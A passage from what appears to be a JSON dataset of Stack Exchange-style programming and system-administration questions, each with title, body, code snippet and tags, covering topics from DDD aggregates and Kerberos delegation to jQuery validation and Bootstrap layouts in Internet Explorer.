</embed>\n</object>\n", "java exception applet"], "886259": ["How To Model
Aggregates and Persist to Database in DDD", "I am just trying to get out of my
comfort zone of typical N-Tier architecture of Repository/Service/Presentation and
have started looking at DDD with Aggregates and I have to admit I'm a little
confused and was hoping someone could clarify the following example:\nIf I had an
Entity called News, NewsImage and Customer which were all EF persist-able objects
like so:\n\nAs I understand it these could be the objects we would use to persist
the domain objects to the database but if we are using aggregates from the domain
model we could have something like this:\n\nMy questions are following and I would
appreciate any clarification as I am certain I am misunderstanding the fundamental
principles here:\n\nOnly the aggregate objects should be exposed to the
presentation layer (or any consuming layer).\nHow do I handle converting/persisting
the aggregate objects to the database, I could use mapping which is fine but then
how do I know if I am creating an object or updating (by whether it is transient if
the Id is set or not?). How do I know if new images have been added and which to
update or remove? I think the problem I am having is I call create pass a news
aggregate to a Repository and create it, I could then get the aggregate back from
the domain populated via the entities with EF and then add an image, when I pass
the news aggregate back how do I know what has changed in order to create/update
data?\n\nWhere should the customer go, should it be on the news aggregate object as
an AddCustomer method, should there be a CustomerAggregate which has an AddNews
method and with both of these options how to persist?\n\n\nMany thanks for any
insight, I've been reading around and looking at sample projects which demonstrate
the concept but don't seem to fully explain best ways to achieve this.\n", "public
class Customer\n{\n public virtual int Id { get; set; }\n public virtual
string Name { get; set; }\n}\n\npublic class NewsImage\n{\n public virtual int
Id { get; set; }\n public virtual byte[] Data { get; set; }\n public virtual
News News { get; set; }\n}\n\npublic class News\n{ \n public virtual int Id
{ get; set; }\n public virtual string Name { get; set; }\n public virtual
ICollection<NewsImage> NewsImages { get; set; }\n public virtual Customer
Customer { get; set; }\n}\n", "c# domain-driven-design aggregate"], "3911835":
["Strictly convex sets and hyperplanes", "Let $\\Omega$ be an open bounded subset
of $\\mathbb{R}^n$and let $x_0\\in\\partial\\Omega$. I need to show that if $\\
partial\\Omega$ is strictly convex near $x_0$ then there exists a hyperplane near
$x_0$ such that:\n\\begin{equation}\nP\\cap N\\cap \\overline{\\Omega}=\\{x_0\\}\
n\\end{equation} \nwhere $P$ is the hyperplane and $N$ is some neighbourhood of
$x_0$ such that $\\partial\\Omega$ is strictly convex.\nI have an argument that's
based on my intuition of $\\mathbb{R}^3$ and I have assumed that $\\partial\\Omega$
is at least $C^1$. Have I overlooked any technical details in applying it to $\\
mathbb{R}^n$ and is it possible to show that the result is true without the $C^1$
boundary assumption?\nMy Proof\nMy understanding of the phrase '$\\partial\\Omega$
is strictly convex near $x_0$' is that there exists a neighbourhood $N$, of $x_0$
such that $\\partial\\Omega$ is strictly convex there.\nIn particular, if $X\\equiv
N\\cap\\partial\\Omega$ then $\\partial X\\equiv \\partial N\\cap\\partial\\Omega$.
So if $L(x_1, x_2)$ is the line segment between $x_1$ and $x_2$ (for some $x_1,
x_2\\in\\partial X$) then $L(x_1, x_2)\\cap\\partial X=\\{x_1, x_2\\}$.\nNow once
we have constructed $L(x_1, x_2)$ we can consider the distance between this line
segment and $x_0$. We note that it is positive. For brevity I will henceforth refer
to this line segment as $L$.\nThere exists (a unique) $x_3\\in L$ that is not $x_1$
nor $x_2$ such that the distance between $x_0$ and the line $L$ is minimised (in
$N$).\nLet $n\\equiv x_0-x_3$. Then $n$ defines a hyperplane $P_1$. \nThe $C^1$
boundary condition allows us to assume the existence of an outward pointing unit
normal vector field. Let $\\nu$ be the vector from this field that passes through
$x_0$. Let $\\phi$ be the angle that $\\nu$ makes with $P_1$.\nSince $n$ cuts
through $x_0$ then it lies in a plane $P_2$ that is parallel to $P_1$. Rotate $P_2$
by $\\frac{\\pi}{2}-\\phi$, let this plane be $P$ and we are done. \n", "", "real-
analysis general-topology geometry"], "3281686": ["Phoenix Bios randomly appeared",
"I have several operating systems installed, the original being vista, which I have
not booted up in at least 6 weeks. This morning when I turned my computer on, a
weird never before seen(to me) screen appeared saying phoenix award bios and it
proceeds to list my drives and their role along with my other hardware. \nIt then
loads grub like normal. I have been to my bios before and it wasn't phoenix bios.
This has happened every time I have booted since. What is going on and how did this
get changed? Also why does it list my drives every time? I havent agreed to any
updates on any os concerning my bios.\n", "", "bios phoenix"], "1790218": ["Reading
strings into Matlab from excel?", "I would like to read strings into Matlab from an
excel file\n\nthe cells in range D2:D4 have strings in them. When I try to import
the strings into Matlab all I get is an empty list? what can I do to fix this?\n",
"ID = xlsread('data.xlsx',1, 'D2:D4')\n", "string excel matlab file-io"],
"5998189": ["Linux/php require parent directory", "I am on Ubuntu 11.10 and
installed apache server to host my local website before i host it from a company.\
nMy website root location is \"/home/a1a4a/www/\"\nI have a php file in
/home/a1a4a/www/account/account_info.php\"\nThat i want him to include a file
in \"/home/a1a4a/www/include/fg_membersite.php\"\nIt's what i did from
account_info.php\n\nAnd i got this error\n\nSo what have i done wrong ? How to
fix .\nI have full permissions ( sudo chown -R www-data ).\nThanks and Happy
Holidays :)\n", "require_once('./include/fg_membersite.php');\n", "php linux apache
directory"], "2400593": ["Double Hop Window Authentication", "I've got a problem
getting Windows Authentication (Kerberos) to work when passing credentials from the
user, to IIS then from IIS to SQL. I have setup SPN's for SQL, and set the IIS
server account up to allow delegation.\nIf I set the IIS computer account to allow
Delegation for any service, it works:\n\nHowever if I set it up for
specific services, the credentials are not passed and I get an error about
connecting with the anonymous user:\n\nAs you can see, I'm connecting to SQL
Express Instance, and I've set up a number of SPN's to try and resolve this, no
luck with any of them. Obviously the fact that it works when allowing any service,
says to me that something else is missing from this list of services, but I don't
know what!\n", "", "windows-server-2008 sql-server iis kerberos"], "3478799":
["Help needed for non-IE browser compatibility in JavaScript", "My code works in IE
but not in Firefox. I am trying to get the onmousedown and onmouseup events to work
as well as the functions swapFE, swapEF and setUpTranslation in a browser other
than IE. I basically have French phrases that appear upon the browser loading and
when I click down on a phrase with my mouse they should translate to English and
when I let up on the mouse they should turn back to French. That's the basic idea.
Any other questions feel free to ask. \nCould you look at the code below and make
suggestions on what I'm doing wrong for non-IE browsers. I can get this to work
for IE if I uncomment out the correct lines but it doesn't seem to work for
Firefox.\nAny suggestions?\n\n", " /*\n Function List:\n eventSource(e)\n
Returns the source of an event in either event model\n\n swapFE(phrase, pnum)\n
Changes a French phrase to the English version of that phrase.\n\n swapEF(phrase,
pnum)\n Changes an English phrase ot the Frech version of that phrase.\n\n
setUpTranslation()\n Insert the current week's french phrases into document
and set up\n event handlers for the phrases.\n*/\n\n//Returns the source of an
event in either event model\nfunction eventSource(e) {\n var IE =
document.attachEvent ? true:false;\n var DOM = document.addEventListener ? true:
false;\n if (IE) return event.srcElement;\n else if (DOM) return
e.currentTarget;\n}\n//I added the function below to try and make it cross-browser
compatible but it did not work....help!\n//function
applysetUpTranslation(phrases[i],\"click\",swapFE(e),false) {\n//if (IE)
phrases[i].attachEvent(\"on\"+onmousedown, swapFE(e));\n//else if (DOM)
phrases[i].addEventListener(click,swapFE(e),true);\n//}\n\n\nfunction
setUpTranslation() {\n var IE = document.attachEvent ? true:false;\n var DOM =
document.addEventListener ? true: false;\n var phrasesContainer =
document.getElementById(\"phrases\");\n var phrases=
phrasesContainer.getElementsByTagName(\"p\");\n\n for (i = 0; i<phrases.length;
i++) {\n phrases[i].number = i;\n phrases[i].childNodes[1].innerHTML =
french[i];\n phrases[i].childNodes[1].id = i;\n\n//childNodes[1] is the second
span in the <p> array\n//I noticed that the function is referenced here as
swapFE(event) and the function is written as swapFE(e)...does that make a
difference in what shows up??\n\n //phrases[i].childNodes[1].onmousedown =
function() { swapFE(event); };\n\n phrases[i].childNodes[1].onmousedown = swapFE; \
n\n //phrases[i].childNodes[1].onmouseup = function() { swapEF(event); }; \n\n
phrases[i].childNodes[1].onmouseup = swapEF; \n\n }\n\n}\n\n//this function
changes the French phrase to an English phrase.\nfunction swapFE(e) {\n var
phrase = eventSource(e);\n //phrase.innerText = english[phrase.id];\n
var parent = phrase.parentNode;\n //childNodes[0] is the number of the phrase
+1 \n var idnum = parent.childNodes[0];\n //parseInt takes a textstring
and extracts it to make a number. Then you will subtract 1 from the number.\n
var phrasenum = parseInt(idnum.innerHTML)-1;\n phrase.innerText =
english[phrasenum];\n parent.childNodes[1].style.fontStyle= \"normal\";\n
parent.childNodes[1].style.color = \"rgb(155, 102, 102)\";\n }\n\n\nfunction
swapEF(e) {\n var phrase = e.srcElement; \n //phrase.innerText =
english[phrase.id];\n var parent = phrase.parentNode;\n var idnum =
parent.childNodes[0];\n var phrasenum = parseInt(idnum.innerHTML)-1;\n
phrase.innerText = french[phrasenum];\n parent.childNodes[1].style.fontStyle=
\"italic\";\n parent.childNodes[1].style.color= \"black\";\n}\n", "javascript
internet-explorer firefox events browser-compatibility"], "5625908": ["Determine if
a string contains only alphanumeric characters (or a space)", "I'm learning C++ and
I am writing a function that determines whether a string contains only alphanumeric
characters and spaces. I suppose I am effectively testing whether it matches the
regular expression but without using regular expressions. I have seen a lot of
algorithms revolve around iterators, so I tried to find a solution that made use of
iterators, and this is what I have:\n\nIs there a better solution, or a \u201cmore
C++\u201d way to do this?\n", "^[[:alnum:] ]+$", "c++ algorithm string iterator"],
"3466743": ["Why won't my Windows PE RAM Disk (CD-ROM) boot?", "I created a Windows
PE RAM disk (CD-ROM) from the instructions on technet. I'm on a Windows 7 x64
system and my \"reference\" system is the same. I changed the boot priority to CD-
ROM first on the reference system, but it comes up with an error message like \n\
nThe boot device is not recognized\n\n", "", "boot windows-pe"], "5153198": ["With
JQuery Validation Plugin, I want to change the remote validation method", "I'm
using jquery validate plugin to validate an email address against a database using
the remote method of this plugin. \nI need to check the email address is not in our
database already. Originally, the script in combination with server side code
simply checked for the email address in our database and returned true or false,
this worked successfully.\nI now need to add an additional feature as it's now
possible for us to have the same email address in the database twice as long as the
siteid for the record is different i.e. if a record for [email protected] with
siteid=site1 exists in the database, you can't add [email protected] with
siteid=site1 again, but you can add [email protected] with siteid=site2. \nI've
confirmed that the serverside code is working and for a given email address and
siteid, it returns true or false as expected. \nI want to revalidate the email
field whenever the siteid select box is changed. At the moment it seems to
remember it's previous validation (it's already validated at load) and is not
affected by the siteid change, unless I change the email from [email protected] to
something else, then change it back, then it validates correctly for the new
siteid. I've tried a combination of remove rules and add rules, nothing seems to
work.\nHelp!\n\n", "<html>\n<head>\n<script type=\"text/javascript\">\n$
(document).ready(function () {\n var enquiryform = {\n rules: {\n
email: {\n required: true,\n email: true,\n remote: 'emailcheck2.asp?
siteid=' + $('#siteid').val()\n } \n },\n messages: {\n
email: {\n remote: 'exists already!'\n }\n } \n };\n\
n var validatedform = $(\".validatedform\").validate(enquiryform).form(); \n
$(\"#siteid\").bind(\"change\", function(e){\n
enquiryform.rules.email.remote='emailcheck2.asp?siteid=' + $('#siteid').val();\n
});\n});\n</script>\n</head>\n<body class=\"contactadd\">\n</head>\n<body>\n<form
method=\"Post\" class=\"validatedform\">\n<input class=\"email\" id=\"email\"
name=\"email\" type=\"text\">\n<select id=\"siteid\" name=\"siteid\">\n<option
value=\"1\">Site 1</option>\n<option value=\"2\">Site 2</option>\n</select>\n<input
id=\"submitbutton\" type=\"submit\" value=\"Create\">\n</form>\n</body>\n</html>\
n", "jquery jquery-validate"], "4542345": ["Can't access my shared folder by ipv4,
only ipv6 and name", "How to make possible to access to shared folder on win7
machine by ipv4? as my linux machine needs it.\nThe problem is in fact that i can't
access by ipv4 to this folder even from this win7 computer, like , only with name
or ipv6 \n", "\\\\192.168.1.3\\Shara", "windows-7 folder sharing ipv6 ipv4"],
"4230070": ["How to enable ccache on Linux", "There is very little documentation on
enabling on GNU/Linux. Here is a response from launchpad.net:\n\nAt the moment, I
think the best way to enable ccache is to add\n \"/usr/lib/ccache\" to the front
of your path. If you want to enable it\n for all users by default, change the PATH
variable in\n /etc/environment.\n\nCan someone give me more information on
enabling ?\n", "ccache", "linux gcc gnu ccache"], "4240421": ["Attach mysql
database to application", "\nPossible Duplicate:\nHow to connect to a MySQL
database from an iPhone? \n\nI'm beginner in iphone programing, now and for the
first time I build my first app. I have a php/mysql website and I would like to
show a list of names which are already on the database of my website, in my iphone
app, exactly when using the search bar.\nHow to do this please, If it possible send
me a link of a tutorial.\nThank you !\n", "", "iphone mysql database ios
uisearchbar"], "4900829": ["How to use second level cache for lazy loaded
collections in Hibernate?", "Let's say I have two entities, and . Every employee
has a set of skills. Now when I load the skills lazily through the instances the
cache is not used for skills in different instances of .\nLet's Consider the
following data set.\n\nWhen I load Employee - 2 after Employee - 1, I do not want
hibernate to hit the database to get the skills and instead use the instances
already available in cache. Is this possible? If so how?\nHibernate
Configuration\n\nThe Entities with imports, getters and setters Removed\n\nSQL for
Loading the Second Employee and his Skills\n\nIn that I specifically want to avoid
the second query as the first one is unavoidable anyway.\n", "Employee", "java
hibernate orm lazy-loading second-level-cache"],
"5309831": ["Unable to begin a distributed transaction: Linked Server -> Access
database", "Specs:\n\nSql Server 2008\nServer 2008 R2 64bit\nMS Access database\n\
nWhat works:\n\nI have configured a Linked server connection to the Access database
by installing office access data components and creating a system DSN and whatnot.\
nwhich resides in a directory on the same server.\nI have succeeded in quering data
through openquery.\nSELECT * FROM OPENQUERY(LINKEDHELL, 'SELECT * FROM [D:\\path\\
mordor.mdb].Orcs')\nI can insert/update/delete through openquery (from inside the
Sql Management Studio)\n\nWhat does not work:\nI have created a database which
exposes a view that wraps the openquery expression. This allows my applications to
remain oblivious to the fact thats its quering through an linked server connection
and allows me to use an ORM. Case in point: Entity Framework.\nHowever whilst
retrieving data works, updating/inserting/delete wont. \nI have spend quite some
time making sure that the MSDTC is configured correctly however no dice.\nWhat i
tried\nMSDTC\n\nEnabled Network DTC Access\nAllow Inbound/outbound\nConfigured
Firewall\nEnabled XA Transactions\nGave account under which DTC works access to the
.mdb\nRestarted Sql Server after making these settings\n\nOther\n\nConfigured
linked server security: Created mapping between sql user and local admin account,
so that when i login with that sql user, it uses the local administrators account
to connect to the access database. \nEnable Promotion of Distributed Transactions
for RPC : False\n\nThe error im getting:\n\nI can simply recreate this by doing
this from the Sql Management Studio\n\nSo what have I missed? \nI have read that
distributed transactions are supported by the ODBC driver, but im unsure if the
ACCESS database does. So if someone could at the very least confirm that. That
would help.\n", "OLE DB provider \"MSDASQL\" for linked server \"LINKEDHELL\"
returned message \"[Microsoft][ODBC Microsoft Access Driver]Invalid
attribute/option identifier \".\nMsg 7391, Level 16, State 2, Line 4\nThe operation
could not be performed because OLE DB provider \"MSDASQL\" for linked
server \"LINKEDHELL\" was unable to begin a distributed transaction.\n", "sql-
server-2008 ms-access odbc msdtc linkedserver"], "646228": ["How can you disable
result output for the mysql EXECUTE command in workbench", "I'm trying to use a
prepared statement in mysql workbench in a cursor. The cursor works on a very big
data set so it is executed many times. Every time a new result is shown for the
EXECUTE step. This results eventually in mysql workbench crashing because of too
many open result windows. \nIn the cursor I do something like this:\n\nNormally I
use stuff like \n\nto silence the query but EXECUTE doesn't work like that. \nDoes
anybody know how you can disable the output for the EXECUTE command in mysql?\
nNote: I understand how i can retrieve the data in a variable, however what I want
to prevent is that it is displayed in the results overview like this \nThis will
make mysql-workbench crash when looped too much. \nedit because it was asked an
example of the @eveningQuery. \n\nSET @eveningQuery = CONCAT('select @resultNm :=
exists (select idSplitBill from tb_SplitDay where idSplitBill =', idSplitBillVar,
' and ', @columnNameEv ,' = 1 and softdelete = 0)'); \n\nidSplitBillVar = the id
coming from the cursor. \n@columnNameEv = a column that i am filling in variably. \
nI added this info because it was asked, however it doesn't really matter in my
opinion because the question still stands even with the most simple query. When you
execute a prepared statement, you will get a output result. I just want to disable
this behaviour.\n", "PREPARE stmt2 FROM @eveningQuery;\nEXECUTE stmt2; \nDEALLOCATE
PREPARE stmt2;\n", "mysql cursor prepared-statement mysql-workbench"], "5943634":
["Releasing recursive class module in VBA", "I've been playing around with a class
module which contains multiple versions of itself to build up a tree structure. \
nI've noticed the process of building the tree is very fast. Roughly 2 seconds for
a 7 level tree with 6-8 branches per subtree. Unfortunately the program runs very
slowly. This seems to be caused by the release of the memory used by the tree,
which takes at least 60 seconds.\nInitially I did not release the class module, and
allowed VB to do it at the end of the program, but replacing this with set myTree =
nothing makes no difference to the speed.\nI also tried writing a sub routine to
destroy the tree. This recursively went through each layer and set the sub trees to
nothing. Oddly this seemed to save aroung 0.5 of a second, but nothing
significant.\nIs there anything else I can do to reduce the unload time?\nThe code
is really long but the excert below gives the idea. I'm happy that the tree
structure works, but the gap between the final two timer statements is very large\
n\n", "Class treeNode\n private aCurrentDepth as integer\n private
aNodeObject as myObject\n private aNodes(maxNodeCount) as treeNode\nend class\
n\npublic function creatreTree(m as myObject,depth as integer) as treeNode\n
Dim x As Integer\n\n Set createTree = New treeNode\n createTree.initialise\
n\n createTree.cNodeObject = m\n createTree.cCurrentDepth = depth\n\n
If depth <> 1 Then\n For x = 0 To maxNodeCount\n
createTree.tNode(x) = createTree(getObject(m,x), depth - 1)\n Next x\n
End If\nend function\n\nsub testTree\n Dim t as treeNode\n dim g as myObject\
n Set t = New treeNode\n\n g.initialise\n t.initialise\n\n set g =
startObject\n\n Cells(1, \"A\") = Timer\n Set t = createTree(g, 7)\n
Cells(1, \"B\") = Timer\n Set t = Nothing\n Cells(1, \"C\") = Timer\nend sub\
n", "class vba"], "1966288": ["Weird Issue Flash AS3", "Hi i have a flash file
where i load in a game on frame 182. this is done by calling a function in a class
file that plays out the game. Now to star the game you have to use arrow keys. now
for some reason when you load 182, the game loads but when you press an arrow key
it loads in some of the previous frames on top of that. Is there any code to change
this. If you want to see the issue please goto -
http://ignitethatdesign.com/FlashLeaderBoard/lightcycleTRON.swf\non frame 182 all
the code i'am using is this - \n\n(cycle game is the function in the class file)\
nthanks\n", "stop();\nvar game:cycleGame = new cycleGame();\naddChild(game);\n",
"flash actionscript-3 load frame"], "1196043": ["jQuery .animate() value position
extra space.. Doubling the value I want it to sit from the top of the page", "I am
looking to create a drop-down tab that sit on the top of the page, and when clicked
it slides down to display some more links etc.\nThe links container will change in
height, so Im trying to get jQuery to get the height of the container, and set the
css top value to its negative integer, and when you click the tab, it slides down
by the height of the links container. \nEverything works fine apart from when the
menu slides down, it doubles the value it should take. (There is a space between
the top of the div and the page.)\nThe code for the div's is as follows:\n\nThe CSS
is as follows:\n\nAnd Javascript is as follows:\n\nI cant work it out. And yes I
have tried dividing the height by 2, and it just halves the gap.\nThanks.\n", "<div
class=\"quickLinks\">\n <div class=\"quickLinksContent\">\n dsf\n
</div>\n <div class=\"quickLinksTitle\">Logout</div>\n</div>\n", "jquery height
animate offset space"], "3486950": ["ActiveX control for sharepoint integration",
"I am working on integrating web parts on sharepoint. After reading many articles I
found developing an ActiveX control would be an approach for such integration.\nBut
an ActiveX control would be required only if you want to access windows features
(hardware interaction) like accessing webcam or mic from your GUI. If this kind of
interaction is not required, then a simple web parts in jquery or java can be
developed without any activeX control. These jquery or java components can be
integrated with Sharepoint and can call any third party webservices to be displayed
on sharepoint pages.\nPlease confirm what I understood is correct. Any other
suggestion would be great to have.\n", "", "sharepoint activex"], "3457563": ["What
to do with NFS server (UTF-8) and Windows 7?", "NFS share is mounted using
command.\nFile(cyrillic) \"\u041d\u043e\u0432\u044b\u0439 \u0442\u0435\u043a\u0441\
u0442\u043e\u0432\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\
u0442.txt\" created with samba share (and using UTF-8) is shown as \"\u0420\u045c\
u0420\u0455\u0420\u0406\u0421\u2039\u0420\u2116 \u0421\u201a\u0420\u00b5\u0420\
u0454\u0421\u0403\u0421\u201a\u0420\u0455\u0420\u0406\u0421\u2039\u0420\u2116 \
u0420\u0491\u0420\u0455\u0420\u0454\u0421\u0453\u0420\u0458\u0420\u00b5\u0420\
u0405\u0421\u201a.txt\" under windows via NFS share.\nHow to make windows use UTF-
8?\n", "mount server:/share x:", "windows nfs"], "609861": ["C++, Net, WindowsForms
Sorting list by values of other list", "I have two lists. One has type of MyClass
and is filled with these classes wrote by me. And the second one has some int
values.\nAnd the problem is that I don't know how to deal with sorting the first
list using values of the second one.\nI have no idea how to write an IComparer to
use sort list method. I saw an example in msdn but I don't know how to change it.\
nhttp://msdn.microsoft.com/en-us/library/234b841s.aspx#Y535\nHere's my program:\
n//##################################\n\n//###################################\
nThese numbers of numbers List represent some kind of a status of elements of
listMyClass. So I'd like to sort listMyClass using values form the list numbers.\nI
would like to have such result after sorting:\n is
first because number 4 from the list numbers is the highest. Then\n and then \nAre
there any posibilities to deal with this challange?\n", "ref class MyClass{\
nprivate:\n int x;\n int y;\n String^ name;\npublic:\n MyClass(int x, int y,
String^ name){\n this->x = x;\n this->y = y;\n this->name = name;\n}\n...\n};\n\
n//###### in some button which will initialize...:\n\nList<MyClass^>^ listMyClass =
gcnew List<MyClass^>(3);\nlistMyClass->Add(gcnew MyClass(3, 5, \"class1\"));\
nlistMyClass->Add(gcnew MyClass(1, 2, \"class2\"));\nlistMyClass->Add(gcnew
MyClass(6, 8, \"class3\"));\n\nList<int>^ numbers = gcnew List<int>(3);\nnumbers-
>Add(2);\nnumbers->Add(4);\nnumbers->Add(1);\n", ".net winforms c++-cli"],
"2216662": ["How-to Un-Join Domain when DC not available on Win 2008 R2 Core
Installation Hyper-V", "Server was moved and domain contraller not available any
more. Is it a way to disjoin Domain on Win 2008 R2 Core Installation Hyper-V?\n",
"", "windows-server-2008 hyper-v"], "5582250": ["Mac OS-X time machine and local
disc - how to see differences", "I'm not sure if I lost few files. \nMay be they
were deleted accidentally from my macbook. \nActually I did a back up with time
machine two days ago.\nDo you know any way, may be comparing the time machine
backup and local disc, to see if there are missing files? \n", "", "backup macosx
restore osx-lion time-machine"], "282420": ["sudoers file cleanup and consolidation
tool/script", "I am curious to know what other folks out there might be using to
keep the sudoers file in a sane manner. I am looking for a tool, that removes
redundant entries, overlapping permissions and/or present sudoers file in a
organized way(like sorting by permissions/users/Aliases) \n\nOur sudoers file is
simple but a lot of entries and it needs to be cleaned up. Does anyone know/have a
tool/script to fix/present it ?\nThanks!\n", "User_Alias RT1123 jappleseed, sjobs\
nHost_Alias HOST_RT1123 wdc101.domain.com, wdc104.domain.com\nCmnd_Alias .....\n",
"scripting tools sudoers consolidation"], "2390938": ["Magento: updating
product.info.options with own PHTML?", "Looking at catalog.xml I see this part
which is responsible for displaying the configured options for a product:\n\nNow,
depending on some conditions, I want to remove catalog/product/view/options.phtml
and replace it with some other phtml in the before_load_layout event. I think I
need a layout update, but I am not sure how to write it. \nCan you give me some
advice on how to proceed?\nThanks!\n", "<block
type=\"catalog/product_view_options\" name=\"product.info.options\"
as=\"product_options\" template=\"catalog/product/view/options.phtml\">\n
<action
method=\"addOptionRenderer\"><type>text</type><block>catalog/product_view_options_t
ype_text</block><template>catalog/product/view/options/type/text.phtml</
template></action>\n <action
method=\"addOptionRenderer\"><type>file</type><block>catalog/product_view_options_t
ype_file</block><template>catalog/product/view/options/type/file.phtml</
template></action>\n <action
method=\"addOptionRenderer\"><type>select</type><block>catalog/product_view_options
_type_select</block><template>catalog/product/view/options/type/select.phtml</
template></action>\n <action
method=\"addOptionRenderer\"><type>date</type><block>catalog/product_view_options_t
ype_date</block><template>catalog/product/view/options/type/date.phtml</
template></action>\n</block>\n", "layout magento-1.4"], "2219803": ["Managed paths
- how to add existing managed path to 'URL Drop down' while creating a site
collection", "I working with site collections along with managed paths. There are
many managed paths only few of them populating in url dropdown while creating a
site collection.\nI have requirement to create a site with managed path, but that
managed path isn't populating in dropdown. What action Should I make inorder to add
the desired managed path again back into dropdown.\nThis server is production, and
I am new to this organisation. So i don't want to delete the existing managed path
and re add it and make a mess of it.\nAny suggestions and insights are highly
appreciated.\n", "", "sharepoint2010"], "1464120": ["Subversion 'forgets' to commit
class files and view files", "I am working on an ASP.NET MVC application and using
Visual Studio, TortoiseSVN and VisualSVN. When I try to commit my project to the
Subversion server, all except the class (.cs) and view (.cshtml) files are
committed. Is there a reason why Subversion prefers to forget to commit these
files?\n", "", "asp.net-mvc visual-studio svn tortoisesvn visualsvn"], "1875110":
["Should the Interop Structure Memory be Freed After Calling?", "I have the
following function and structures in C++ code that are designed for interop:\n\nAnd
This is my corresponding .Net structure code:\n\nThis is how I do my call in .Net
function:\n\nThe issue is, after the is converted to my data structure , is there
any need to free and ? Should I create or such code inside C++ and then pass the
structure into it for freeing the memory purpose? If yes, how?\nEdit: This is how
the Cycle_List is populated in C++; basically I just copy the information from a
similar data structure ( using to it).\n\n", "extern \"C\" __declspec(dllexport)
typedef struct\n{\n int num_vertices;\n int *vertices;\n\n} Vertex_List;\n\
nextern \"C\" __declspec(dllexport) typedef struct\n{\n int num_cycles;\n
Vertex_List *cycles;\n} Cycle_List;\n\nextern \"C\" __declspec(dllexport) typedef
struct\n{\n int v1;\n int v2;\n\n} Edge;\n\nextern \"C\"
__declspec(dllexport) typedef struct\n{\n int num_edges;\n Edge *edgeList;\n}
Edge_List;\n\nextern \"C\" __declspec(dllexport) Cycle_List Traversal(Edge_List
edgeList);\n", ".net c++ interop"], "409803": ["Determine if WebDav is
enabled/disable on Win 2003", "I am searching for a script which determine if
WebDav is enabled/disabled on Win 2003 ( IIS6).\n", "", "iis6 webdav"], "1214188":
["Avoid hanging when closing a Yahoo map with lots of markers", "I have a Yahoo map
with lots of markers (~500). The map performs well enough until I close the page,
at which point it pauses (in Firefox) and brings up a \"Stop running this script?\"
dialog (in IE7). If given long enough the script does complete its work.\nIs there
anything I can do to reduce this delay?\nThis stripped down code exhibits the
problem:\n\nI'm aware of some memory leaks with the event handlers if you're
dynamically adding and removing markers, but these are static (though the problem
may be related). Oh, and I know this many markers on a map may not be the best way
to convey the data, but that's not the answer I'm looking for ;)\nEdit: Following a
suggestion below I've tried:\n\nand \n\nbut neither worked :(\n", "<script
type=\"text/javascript\">\nvar map = new YMap(document.getElementById('map'));\
nmap.drawZoomAndCenter(\"Algeria\", 17);\n\nfor (var i = 0; i < 500; i += 1) {\n
var geoPoint = new YGeoPoint((Math.random()-0.5)*180.0, (Math.random()-
0.5)*360.0);\n var marker = new YMarker(geoPoint);\n map.addOverlay(marker);\
n}\n</script>\n", "javascript yui maps yahoo yahoo-mapping"], "5040410":
["responsive layout image scaling IE (w/ twitter bootstrap)", "Please don't be
deterred by the \"just another IE problem\".\nI have a custom layout built with
Twitter Bootstrap, and everything scales and scales correctly in every browser
except all IE's (all=6-8). I've tried as many hacks as I could find to get max-
width and all that working in IE, but the main background image (id=\"bg\") won't
scale in IE. Any ideas?\nHere's the code:\n\nAnd my css (I haven't edited any of
bootstrap's css):\n\n", "<html lang=\"en\">\n<!--[if lt IE 7]> <html class=\"ie6
oldie\"> <![endif]-->\n<!--[if IE 7]> <html class=\"ie7 oldie\"> <![endif]-->\
n<!--[if IE 8]> <html class=\"ie8 oldie\"> <![endif]-->\n<!--[if gt IE 8]><!-->\
n<head>\n<meta charset=\"utf-8\">\n<title>Alpha Marine Inc.</title>\n<meta
name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n<meta
name=\"description\" content=\"\">\n<meta name=\"author\" content=\"\">\n\n<!--[if
lt IE 9]>\n<script src=\"http://css3-mediaqueries-js.googlecode.com/svn/trunk/css3-
mediaqueries.js\"></script>\n<![endif]-->\n\n<!-- Le styles -->\n<link
href=\"css/bootstrap.css\" rel=\"stylesheet\">\n<style type=\"text/css\">\n body
{\n padding-top: 60px;\n padding-bottom: 40px;\n }\n .sidebar-nav {\n
padding: 9px 0;\n }\n</style>\n<link href=\"css/bootstrap-responsive.css\"
rel=\"stylesheet\">\n<link href=\"css/styles.css\" rel=\"stylesheet\">\n\n<!-- Le
HTML5 shim, for IE6-8 support of HTML5 elements -->\n<!--[if lt IE 9]>\n <script
src=\"http://html5shim.googlecode.com/svn/trunk/html5.js\"></script>\n<![endif]-->\
n\n<script type=\"text/javascript\">\nfunction
MM_changeProp(objId,x,theProp,theValue) { //v9.0\nvar obj = null; with (document)
{ if (getElementById)\nobj = getElementById(objId); }\nif (obj){\nif (theValue ==
true || theValue == false)\n eval(\"obj.style.\"+theProp+\"=\"+theValue);\nelse
eval(\"obj.style.\"+theProp+\"='\"+theValue+\"'\");\n}\n}\n</script>\n</head>\n\
n<body>\n\n<div class=\"container-fluid\">\n<div class=\"row-fluid\">\n <ul
class=\"pull-right\" id=\"nav\">\n <li><a href=\"#\" id=\"home\"></a>\n
<li><a href=\"#\" id=\"ourServices\"></a>\n <li><a href=\"#\"
id=\"aboutUs\"></a>\n <li><a href=\"#\" id=\"insurance\"></a>\n
<li><a href=\"#\" id=\"automobiles\"></a>\n <li><a href=\"#\"
id=\"contactUs\"></a>\n </ul>\n</div>\n\n<div class=\"row-fluid\"
id=\"banner\">\n <div class=\"span12\">\n <img id=\"bg\"
src=\"images/homepage.jpg\" />\n <a href=\"#\"><img id=\"logo\"
src=\"images/logo.jpg\" /></a>\n <a href=\"#\"><img id=\"splash\"
src=\"images/splash.jpg\" /></a>\n </div>\n</div>\n\n<div class=\"row-fluid\"
id=\"sub\">\n <div class=\"span12\">\n <div style=\"float:right;\">\n
<div class=\"span199\"><a href=\"\"><img src=\"images/door2door.jpg\" alt=\"Door to
Door\" onMouseOver=\"MM_changeProp('d2d','','backgroundPosition','bottom
center','SPAN')\" onMouseOut=\"MM_changeProp('d2d','','backgroundPosition','top
center','SPAN')\" /><span id=\"d2d\"
onMouseOver=\"MM_changeProp('d2d','','backgroundPosition','bottom center','SPAN')\"
onMouseOut=\"MM_changeProp('d2d','','backgroundPosition','top
center','SPAN')\"></span></a></div>\n <div class=\"span199\"><a
href=\"\"><img src=\"images/door2port.jpg\" alt=\"Door to Port\"
onMouseOver=\"MM_changeProp('d2p','','backgroundPosition','bottom center','SPAN')\"
